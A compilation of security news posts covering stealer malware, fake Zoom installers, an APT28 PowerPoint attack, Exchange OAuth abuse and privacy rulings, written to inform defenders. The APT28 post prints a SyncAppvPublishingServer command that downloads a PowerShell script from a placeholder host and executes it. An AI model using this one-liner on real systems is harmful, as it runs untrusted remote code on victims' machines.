IT NEWS

There’s a new slice of malware-as-a-service doing the rounds, although its actual newness is somewhat contested. The stealer, called Erbium, was first spotted on forums back in July 2022, but it seems nobody is quite sure when it started being deployed and snagging victims. Nevertheless, it is now happily causing chaos for victims as it looks to steal a sizeable portion of data from infected machines.

A slick tool with its own fully functional dashboard, its sights are set on targets not entirely dissimilar to other data stealers. System data collection, drive enumeration, and loading processes and DLLs into memory are all tell-tale signs that bad things are afoot on the target computer.

Erbium targets multiple forms of cryptocurrency wallet, along with password managing software and two-factor authentication (2FA) data. Connections are made to Discord’s Content Delivery Network in order to potentially download more malware. According to the latest research available, it leans into that well worn tactic of plundering several forms of web browser for passwords, autofill data, and also cookies. Browsers listed include Firefox, Chrome, Pale Moon, and even email client Thunderbird gets a mention.

In fact, many of the cryptocurrency wallets targeted are browser extensions. According to Bleeping Computer, this includes iWallet, Clover Wallet, Steem Keychain, ZilPay and many more. Several cold wallets are also in the malware’s crosshairs, and to top it all off it does of course have the ability to take screenshots of the victim’s desktop.

The most recent campaign described by researchers uses well worn tricks which never seem to go out of fashion. Specifically: Malware stored on free file hosting, posing as cheats or cracks. Using free file hosting for malware storage makes it easy for its operators to set up shop somewhere else, should the malware be taken down by the hosts.

The attackers are said to make use of drive-by download techniques to spread the files—a term that covers all forms of unintended software installation, such as software installed via browser exploits, or bundled with legitimate downloads. There are no more specifics, but outside of this campaign, it is very common to see these sorts of files promoted on fake Youtube videos or even in the comments under legitimate videos.

Once enough data is gathered by the malware authors, it’s off to the underground marketplaces to trade and / or sell the stolen information. Erbium has become very popular in recent months, with Bleeping Computer reporting the cost of doing business has risen from $9 per week to $100 per month.

Competition is fierce in malware-as-a-service land, but Erbium seems to be sticking around.

Users of Malwarebytes are protected from the two payloads mentioned in the Duskrise article [1], [2], and the various payloads [1], [2] listed in the Cyfirma writeup.

Stay safe out there!

Zoom video call software continues to be a staple in work environments. Despite a slow, post-lockdown easing back to the “old normal,” many businesses still have remote workers, or people working in different geographies. It’s no surprise then to see criminals continuing to abuse Zoom’s popularity, in the hope of netting interested parties and, potentially, luring current users into downloading and installing malware.

This particular campaign, initially discovered by an Internet researcher going by the handle @idclickthat, gets unsuspecting users to download an information-stealer—spyware, if you prefer—from fake sites hosting malformed Zoom installers (malware bundled with a legitimate Zoom installer) onto their work systems.

Malware @Zoom downloads 🤖

/zoom-download.host
/zoom-download.space
/zoom-download.fun
/zoomus.host
/zoomus.tech
/zoomus.website
PDRhttps://t.co/7NJ4fEJ9Su@ULTRAFRAUD @malwrhunterteam @JAMESWT_MHT @illegalFawn @nullcookies @AlvieriD @BumbledBubble @ActorExpose pic.twitter.com/JYq2UJEMQ7

— idclickthat (@idclickthat) September 12, 2022

Further analysis from researchers at Cyble reveals this spyware is known as the Vidar Stealer, which it did a deep-dive on last year. Vidar steals user credentials, banking information, saved passwords, IP addresses, and other sensitive information. Findings reveal six fake Zoom download sites, but they are no longer accessible. According to idClickThat, the only difference between the home page of the fake Zoom download sites and the real one is the addition of a “download” button in the main image.

It isn’t clear how users encountered these fake download sites, but those that did downloaded a file called Zoom.exe. Once executed, it dropped two payloads: The legitimate software installer and malware named Decoder.exe, which then dropped Vidar malware. This spyware was then injected into MSBuild.exe, a platform used to build applications.

Once injected, Vidar extracted a command-and-control IP addresses from two profiles created on Telegram and ieji.de, an anonymous social platform based on an instance of Mastodon. These URLs, per Cyble researchers, house DLL files and configuration data the spyware needs to function.

Note that information stealers like Vidar can harvest credentials that put your business network at risk. Threat actors can sell this access to the highest bidders, who can use it to break into your company network, steal information and plant ransomware.

So, before downloading files that claim to be legitimate, it pays to do a quick online search for the software’s official website. Of course it also pays to have good security software that blocks malware, so that accidents can be stopped before they turn into a problem for your computer and your employer’s network.

Stay safe!

Researchers at Cluster25 have published research about exploit code that’s triggered when a user moves their mouse over a link in a booby-trapped PowerPoint presentation.

The code starts a PowerShell script that downloads and executes a dropper for Graphite malware.

Graphite is named after Microsoft’s Graph API, which it uses to access command and control (C2) resources on Microsoft OneDrive. This type of communication allows the malware to avoid detection for longer, because it only connects to legitimate Microsoft domains.

The attack was attributed to the Russian APT28 group, also known as Sofacy or Fancy Bear, a notorious Russian threat actor that has been active since at least 2004. Its main activity is collecting intelligence for the Russian government. The group is known to have targeted US politicians, organizations, and even nuclear facilities.

Cluster25 indicates that entities and individuals in the defense and government sectors of European countries may have been the potential targets of this campaign. But, as we always say, attribution is hard, and thinking you aren’t a target isn’t a good defense strategy.

Malicious mouseover

The technique used in this attack does not require macros to be enabled. It uses the Windows native SyncAppvPublishingServer utility, which is triggered by simply hovering over a hyperlink.

Basically, hovering over a mouse can be used to trigger:

SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://example.org/malice.ps1') | IEX"

Which downloads a script—malice.ps1 in my example—which can be used to execute malicious code on the affected system.

In the example discovered by Cluster25, the malicious link triggered a PowerShell script that downloaded a DLL file from OneDrive, disguised with a .jpeg extension. The file was later decrypted and written to the local path C:ProgramDatalmapi2.dll. The script also added a registry key to execute the DLL via rundll32.exe for persistence.

The victim does not need administrator access to trigger a successful attack. This technique is by no means new—it was spotted spreading malware five years ago, in 2017.

Mitigation

SyncAppvPublishingServer has no business running unless the Application Virtualization (App-V) for Windows client is active on the system. App-V delivers Win32 applications to users as virtual applications, which are installed on centrally managed servers and delivered as a service in real time, on an as-needed basis. Users launch and interact with virtual applications as if they are installed locally.

So, unless you are using this functionality, it is safe to block SyncAppvPublishingServer.exe. Also, Microsoft Office’s Protected View should stop the code from executing. Protected View is enabled by default and should not be disabled. You can check this by opening an Office file and clicking on File > Options, then Trust Center > Trust Center Settings > Protected View to view the active settings.

Malwarebytes

Malwarebytes users are protected against this attack.

Our web protection module blocks the One Drive URLs and our Real-time Protection module detects lmapi2.dll as Trojan.Downloader.

Microsoft has published a security blog about an investigation into an attack in which threat actors used malicious OAuth applications to abuse Exchange servers for their spam campaign.

The threat actor behind this attack has been active for many years, and has been running spam campaigns using various methods that provided them with high volume spamming opportunities.

Credential stuffing

As Microsoft notes, in the initial stage of the attack the threat actor launched credential stuffing attacks against high-risk accounts that were not protected by multi-factor authentication (MFA). Once in, the threat actor was able to gain access to administrator accounts. The authentication attempts were launched against the Azure Active Directory PowerShell application which was later used to deploy the rest of the attack.

OAuth application

The threat actor then proceeded to set up the malicious OAuth application. OAuth enables apps to obtain limited access to a user’s data without giving away a user’s password. The threat actor registered a new OAuth application and granted it global admin and Exchange admin roles.

The threat actor added their own credentials to the OAuth application, enabling them to access the application even if the owner of the compromised account changed their password.

Changing Exchange settings

The threat actor then used the privileged application to authenticate the Exchange Online PowerShell module and modify the Exchange settings of the compromised server.

One modification was to create a new inbound connector. Connectors are a collection of instructions that customize the way email flows to and from organizations using Microsoft 365 or Office 365. The threat actor set up a new connector that allowed mails from certain IPs related to the attacker’s infrastructure to flow through the victim’s Exchange server. This enabled them to send emails that looked like they came from the compromised Exchange domain.

Transport rules

Transport rules, aka mail flow rules, are sets of actions that can be performed on any mail that flows in the organization. The threat actor used this feature to delete specific headers from every mail that flowed in the organization. By deleting these headers, the attacker tried to prevent security products or email providers from detecting or blocking their emails.

Usage

This flow of preparations gave the threat actor all they needed to send out a spam campaign. Microsoft observed that the threat actor did not always use the application right after it was deployed. In some cases, it took weeks or months before the application was utilized.

After each spam campaign, the actor deleted the malicious inbound connector and transport rules to prevent detection, but they kept the application which could be used to prepare the next part of the attack. In some cases, the app remained dormant for months before it was reused by the threat actor.

Motive

The threat actor has been active in high volume spam campaigns for years. In this case, the objective was to send out sweepstakes spam emails designed to trick recipients into providing credit card details and signing up for recurring subscriptions under the guise of winning a valuable prize.

Image courtesy of Microsoft

As an extra precaution, the threat actor used cloud-based outbound email infrastructure like Amazon SES and Mail Chimp, both of which are routinely used for marketing and other legitimate purposes.

Mitigation

• As always, use MFA protection for all accounts, especially important administrator ones.
• Limit the amount of login trials, for example by implementing a timeout after a few failed login attempts.
• Implement conditional access policies that check the login attempt against other conditions like the originating IP address or device, which can flag unusual tries.

CISA (the Cybersecurity and Infrastructure Security Agency) recently added CVE-2022-35405—a remote code execution(RCE) vulnerability affecting Zoho ManageEngine PAM360 (versions 5500 and earlier), Password Manager Pro (versions 12100 and earlier), and Access Manager Plus (versions 4302 and earlier)—to its Known Exploited Vulnerabilities (KEV) Catalog, a list of known CVEs that carry significant risk to the federal enterprise. Doing this forces all Federal Civilian Executive Branch Agencies (FCEB) to patch this bug.

According to BleepingComputer, federal agencies that may be affected by CVE-2022-35405 have until October 13 to ensure they’re patched and their networks are protected from attacks leveraging this vulnerability.

CVE-2022-35405 is a critical vulnerability. When exploited, attackers can execute potentially malicious code on affected installations of ManageEngine software—without authentication for Password Manager Pro and PAM360, and with authentication for Access Manager Plus.

Researcher Vinicius Pereira first flagged this vulnerability in June 2022. Since then, several PoCs (proofs-of-concepts) and a Metasploit module for it have been made public.

ManageEngine “strongly recommends” that its clients upgrade their affected software as soon as possible. The company pointed to the following locations where customers can download updates:

• Access Manager Plus – https://www.manageengine.com/privileged-session-management/upgradepack.html
• PAM360 – https://www.manageengine.com/privileged-access-management/upgradepack.html
• Password Manager Pro – https://www.manageengine.com/products/passwordmanagerpro/upgradepack.html

While private organizations don’t have a ruling requiring them to patch noteworthy flaws, CISA still urges them to patch as soon as they can.

TikTok is no stranger to controversy where data usage is concerned. Back in 2021, the social media dance extravaganza platform agreed to pay $92m to settle dozens of lawsuits alleging harvesting of personal data. There has also been concern with regard to whether or not settings were enough to keep children safe, leading to significant alterations to how those accounts are managed.

Unfortunately for TikTok, it’s back in the news again, and not in a good way. TikTok could be headed for a $28.91m fine, courtesy of the United Kingdom. The fine, related to how children are safeguarded on the app, is the result of a possible breach of the UK’s data protection laws.

The provisional findings of the ICO

The Information Commissioner’s Office (ICO) has issued a statement, which refers to TikTok potentially breaching UK data protection law between May 2018 and July 2020. The statement explains that the ICO has issued TikTok with a notice of intent, which is a legal document which may precede a legal fine.

The ICO claims TikTok may have:

• Processed the data of children under the age of 13 without appropriate parental consent;

• Failed to provide proper information to its users in a concise, transparent and easily understood way; and

• Processed special category data, without legal grounds to do so.

The statement notes that these findings are “provisional”, and that no conclusions should be drawn at this stage around whether “there has, in fact, been any breach of data protection law or that a financial penalty will ultimately be imposed. We will carefully consider any representations from TikTok before taking a final decision”.

In other words: all of these claims and statements come with a rather large “allegedly” tag applied, and TikTok will make a response to these concerns before anything else happens of a legal nature.

TikTok isn’t currently commenting, citing “confidentiality” which makes sense given the intent to formally respond to the ICOs findings.

Tackling the child data problem

This appears to be part of a much bigger drive to ensure children’s data is used safely and correctly by online services. According to the Guardian, The ICO Information Commissioner stated that the ICO is looking at “more than 50” online services to check for child-centric data compliance.

There’s a big push for child safety at the moment, especially with regard to making sure businesses are complying with regulations. Some of these drives are perhaps a little bit controversial, too. For the time being, you can certainly take some action yourself and help your child become a little bit more cyber-savvy in their social media dealings. Check out our articles on helping your child to manage their online reputation, and our five tips for keeping kids safe on social media platforms.

Last week, two Facebook users filed a class-action complaint against Meta in San Francisco’s federal court, alleging the company built a “secret workaround” to Apple’s safeguards that protect iPhone users from tracking. Facebook circumvents Apple’s privacy rules by opening in-app browsers within its apps instead of the iPhone’s default browser. By doing this, the users further allege Meta violated state and federal laws regarding the unauthorized collection of personal data.

The suit came after Felix Krause (@KrauseFx), a data privacy researcher and former Google engineer, released a report in August 2022 about iOS privacy, featuring a tool he created himself called the InAppBrowser. It can check if an in-app browser injects JavaScript (JS) code, which could be problematic for iOS and Android users as this causes potential security and privacy risks to users.

In the case of Meta, this JS code is Meta Pixel.

“The iOS Instagram and Facebook app render all third party links and ads within their app using a custom in-app browser,” said Krause in his blog. “This causes various risks for the user, with the host app being able to track every single interaction with external websites, from all form inputs like passwords and addresses, to every single tap.”

Krause also included the following caveat: “Important: Just because an app injects JavaScript into external websites, doesn’t mean the app is doing anything malicious. There is no way for us to know the full details on what kind of data each in-app browser collects, or how or if the data is being transferred or used.”

In an email interview with Bloomberg, a spokesperson from Meta said that Krause’s allegations are “without merit” and it will defend itself.

“We have designed our in-app browser to respect users’ privacy choices, including how data may be used for ads,” the email statement said.

In February, Meta admitted that Apple’s App Tracking Transparency (ATT) feature would decrease its ad revenue by $10B. This admission, according to CNBC, is “the most concrete data point so far on the impact to the advertising industry” in terms of Apple’s privacy feature, which limits companies from accessing the data of iPhone users.

“This allows Meta to intercept, monitor, and record its users’ interactions and communications with third parties, providing data to Meta that it aggregates, analyzes, and uses to boost its advertising revenue,” the suit reads.

Facebook and Instagram weren’t the only apps mentioned in Krause’s report. TikTok, Snapchat, and Amazon were also mentioned.

Last week on Malwarebytes Labs:

• Hookup site targeted by typo-squatters
• American Airlines suffers data breach after phishing incident
• Grand Theft Auto 6 suffers grand theft
• EDR vs MDR vs XDR – What’s the Difference?
• Scammers send fake ‘Energy Bills Support Scheme’ texts
• Tax refund phish logs keystrokes to swipe personal details
• Kiwi Farms breached, user data potentially exposed
• 5 things to teach your kids about social media
• Vulnerable children’s identities used in tax fraud scheme
• 2K games helpdesk abused to spread RedLine malware
• Morgan Stanley’s years-long “extensive failure” to protect customer data ends in huge fine
• Welcome to high tech hacking in 2022: Annoying users until they say “yes”
• Update Firefox and Thunderbird now! Mozilla patches several high risk vulnerabilities
• Medtronic’s MiniMed 600 series insulin pumps potentially at risk of compromise, says FDA
• A first look at the builder for LockBit 3.0 Black
• Malwarebytes recognized as endpoint security leader by G2

Stay safe!

Twitter says it has fixed a bug that meant users weren’t logged out of active sessions on all devices after manually resetting their passwords. 

Writing on its blog, Twitter said:

“We want to let you know that we recently fixed a bug that allowed Twitter accounts to stay logged in from multiple devices after a voluntary password reset. In order to help ensure the safety and security of everyone that may have been affected, we’ve proactively logged people who may have been affected out of active sessions.”

Staying logged in on multiple devices after explicitly changing an account password is a huge security risk. If someone has breached an account already, that would leave them logged in and able to impersonate the user, rummage through DMs, change the password again, and more. 

Twitter says it has logged out all affected users, everywhere.

We fixed a bug that didn’t close all active logged in sessions on Android and iOS after an account’s password was reset. To keep your account safe, we logged some of you out. You can log back in to keep using Twitter.

For more details on what happened: https://t.co/OmjLKOe5bs

— Twitter Support (@TwitterSupport) September 21, 2022

Twitter says it has reached out to users who might have been affected by the bug. For everyone else, it’s business as usual.

Some new security additions and changes have been announced for users of Windows, but you’ll have to be using Windows 11 to get the most out of them. Windows 10 users may find that this is going to be a case of falling behind the herd ever so slightly.

Anti-phishing tools

Enhanced phishing protection, by way of Smartscreen, is the name of the game, and Microsoft is all too happy to explain the changes. Smartscreen is a Windows feature which helps ward off bogus sites phishing for personal data and payment information. People running IE8 and later will also find it attempts to protect against infectious files. It offers slightly different features depending on which flavour of Microsoft browser you’re using, but the overall end result is largely the same: A variety of protections against phishing portals.

In terms of features for Windows 11, enhanced phishing protection “automatically detects when users type their password into any app or site”. Windows knows “in real time” whether websites and apps have secure connections to trusted websites, notifying users of potential danger up ahead and also spreading word to other users when a phishing attack is blocked.

There is also mention of Windows analysing when and where password entry occurs, notifying users of potentially unsafe usage. This sounds a lot like how many password managers operate, popping a notification when (for example) password reuse is detected. One key difference here is that using passwords in an unsafe way is “reported to IT” for incident tracking purposes.

Friendly popups

There are some interesting additions to the user experience. Typing a password into a phishing site in a Chromium browser, or an application connecting to a phishing portal, presents the user with a popup which says:

This app made an unsafe connection that was reported to Microsoft for stealing passwords. Your organisation recommends changing your work or school password to keep your account safe.

Clicking the change password button takes users to sign-in options where they can alter the password as needed. Microsoft says that without this feature, credentials may be handed over to the fake site. On the other hand, popups that lead people from dangerous sites to password amendment options may encourage malicious imitations that trick unwary users. However, two sets of popups might increase the chances of something untoward being noticed, but the history of UX is littered with intolerant users blazing through that sort of thing.

Elsewhere, Windows will notify users who are typing passwords into notepad files and other programs that this is bad practice. As per the relevant popup:

It’s unsafe to store your password in this app. Your organisation considers it unsafe to store your password in this app and recommends removing your password from this file.

We’re not here today to discuss the merits and drawbacks of off-the-beaten-track password systems. However, it’s worth noting that this detection of typed passwords is raising some eyebrows:

The advice is good but it should come from a human, not the OS. How long has Windows been reading what I paste into Notepad? #privacy #security https://t.co/7iZNWDpzG7

— m (@tinymwriter) September 23, 2022

Windows 11, but not 10

Finally, we come to the part where our two operating system paths diverge.

Custom-made phishing alerts are available to Windows 11 users, but not to users of Windows 10. Organisations can configure Enhanced Phishing Protection to warn uses about password reuse, unsafe apps, and malicious activity, and can and switch the feature’s audit mode on and off, which determines whether sends telemetry about unsafe password events.

It’s to be expected that Windows 11 will eventually pull away from 10 in the security frontrunner stakes. Although adoption was low at the tail end of 2021, numbers will slowly ramp up over time as the Windows 10 end-of-life approaches, and organisations catch up with the stringent hardware requirements.

Only a few months back, we saw Microsoft tackling RDP intrusion with rate limiting for login attempts. We also now have upgrades to kernel protection, more support for hybrid work operations, and new default limits for SMB server authentication. It’s inevitable that we’ll continue to see this happening, and so the gulf will widen between the OS siblings.

No matter which version you’re running, ensure you keep your OS fully up-to-date and enable the security options most relevant to you. There’s enough choice available to hopefully configure your devices the exact way you need them to be running at any given time.

Stay safe out there!